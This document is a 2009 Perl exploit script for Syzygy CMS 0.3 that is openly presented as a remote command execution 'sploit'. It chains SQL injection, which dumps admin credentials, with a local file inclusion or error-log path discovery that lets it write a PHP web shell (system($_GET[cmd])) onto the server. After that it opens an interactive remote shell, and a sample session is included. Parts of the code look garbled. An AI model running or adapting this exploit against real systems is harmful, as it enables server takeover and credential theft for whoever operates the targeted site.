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syzygy-lfisql.txt

Posted on 24 March 2009

#!/usr/bin/perl

# Web App : Syzygy CMS 0.3
# Link    : http://sourceforge.net/project/downloading.php?group_id=103298&use_mirror=heanet&filename=syzygycms-0.3.tar.gz&a=89932245
# Remote Command Execution Exploit :
# Case 1: If LFI works, exploitation via Shell Injection + LFI
# Case 2: Unless, exploitation via SQL Command Injection

# by Giovanni Buzzin, Osirys
# osirys[at]autistici[dot]org
# osirys.org
# Greets: Drosophila

# ----------------------------------------------------------------------------
# Exploit Simulation // (Case 1)
# ----------------------------------------------------------------------------
# osirys[~]>$ perl sploit.txt http://localhost/syzygy/

#   ---------------------------------
#       Syzygy CMS 0.3 RCE sploit
#               by Osirys
#   ---------------------------------

# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: 5f4dcc3b5aa765d61d8327deb882cf99

# [*] Testing LFI vulnerability
# [*] LFI works, exploiting it via SQL-LFI

# [++] Exploiting via SQL-LFI !
# [*] Creating remote Shell via SQL Injection ..
# [*] Spawning remote Shell via LFI ..

# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/syzygy
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ----------------------------------------------------------------------------

use IO::Socket;
use LWP::UserAgent;

my $host  = $ARGV[0];
my $rand  = int(rand 50);
my $lfi   = "/index.php?page=../../../../../../../../../";
my $code = "<?php echo "0xExec";system($_GET[cmd]);echo "ExeCx0" ?>";
my $file = "/tmp/sh_spawn_ownzzzzz".$rand.".txt";
my @error_logs  =  qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

print "[*] Getting admin login details ..
";

my $url = $host."/index.php?page=poll.php&poll=-1 union select 1,concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users";
my $re = get_req($url);
if ($re =~ /details(.+):(.+)details/) {
my($user,$pass) = ($1,$2);
print "[$] User: $user
";
print "[$] Pass: $pass
";
}
else {
print "[-] Can't extract admin details

";
}

print "
[*] Testing LFI vulnerability
";
my $re = get_req($host.$lfi."etc/passwd%00");
if ($re !~ /root:x/) {
print "[-] LFI seems not working, exploiting it via SQL Command Injection !
";
&exploit_2;
}
else {
print "[*] LFI works, exploiting it via SQL-LFI
";
&exploit_1;
}

sub exploit_1 {
print "
[++] Exploiting via SQL-LFI !
[*] Creating remote Shell via SQL Injection ..
";
my $attack  = $host."/index.php?page=poll.php&poll=-1 union select 1,'".$code."',0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile '".$file."'";
get_req($attack);

print "[*] Spawning remote Shell via LFI ..

";
$way = 1;
&exec_cmd;
}

sub exploit_2 {
print "
[++] Exploiting via SQL Command Injection !
[*] Generating error through GET request ..
";
get_req($host."/osirys_log_test".$rand);

print "[*] Cheeking Apache Error Log path ..
";

while (($log = <@error_logs>)&&($gotcha != 1)) {
$tmp_path = $host."/index.php?page=poll.php&poll=-1 union select 1,load_file('".$log."'),0,0,0,0,0,0,0,0,0,0,0,0,0,0";
$re = get_req($tmp_path);
if ($re =~ /File does not exist: (.+)/osirys_log_test$rand/) {
$site_path = $1."/";
$gotcha = 1;
print "[*] Error Log path found -> $log
";
print "[*] Website path found -> $site_path
";
}
}

$gotcha == 1 || die "[-] Couldn't file error_log !
";

my $attack  = $host."/index.php?page=poll.php&poll=-1 union select 1,'".$code."',0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile '".$site_path."/files/1337.php'";
get_req($attack);
my $test = get_req($host."/files/1337.php");
if ($test =~ /0xExec/) {
print "[*] Shell succesfully injected !
";
print "[&] Hi my master, do your job now [!]

";
$exec_path = $host."/shell.php";
$way = 2;
&exec_cmd;
}
else {
print "[-] Shell not found 
[-] Exploit failed

";
exit(0);
}
}

sub exec_cmd {
$h0st !~ /www./ || $h0st =~ s/www.//;
print "shell[$h0st]$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..
";
if ($way == 1) {
$exec_url = $host.$lfi.$file."%00&cmd=".$cmd;
}
elsif ($way == 2) {
$exec_url = $host."/files/1337.php?cmd=".$cmd;
}
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ /0xExec(.+)ExeCx0/) {
my $out = $1;
$out =~ s/$/ /g;
$out =~ s/*/
/g;
chomp($out);
print "$out
";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/
//;
print "bash: ".$cmd.": command not found
";
$c < 3 || die "[-] Command are not executed.
[-] Something wrong. Exploit Failed !

";
&exec_cmd;
}
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return($response->content);
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http://(.+)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http://(.+)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)//$1/;
$full_det = $h0st." ".$path;
return($full_det);
}

sub tag() {
my $string = $_[0];
$string =~ s/ /$/g;
$string =~ s/s/*/g;
return($string);
}

sub banner {
print "
".
"  --------------------------------- 
".
"      Syzygy CMS 0.3 RCE sploit     
".
"              by Osirys             
".
"  --------------------------------- 

";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "
[-] Bad hostname! 
";
}
elsif ($error == -2) {
&banner;
print "
[-] Bad hostname address !
";
}
print "[*] Usage : perl $0 http://hostname/cms_path

";
exit(0);
}

 

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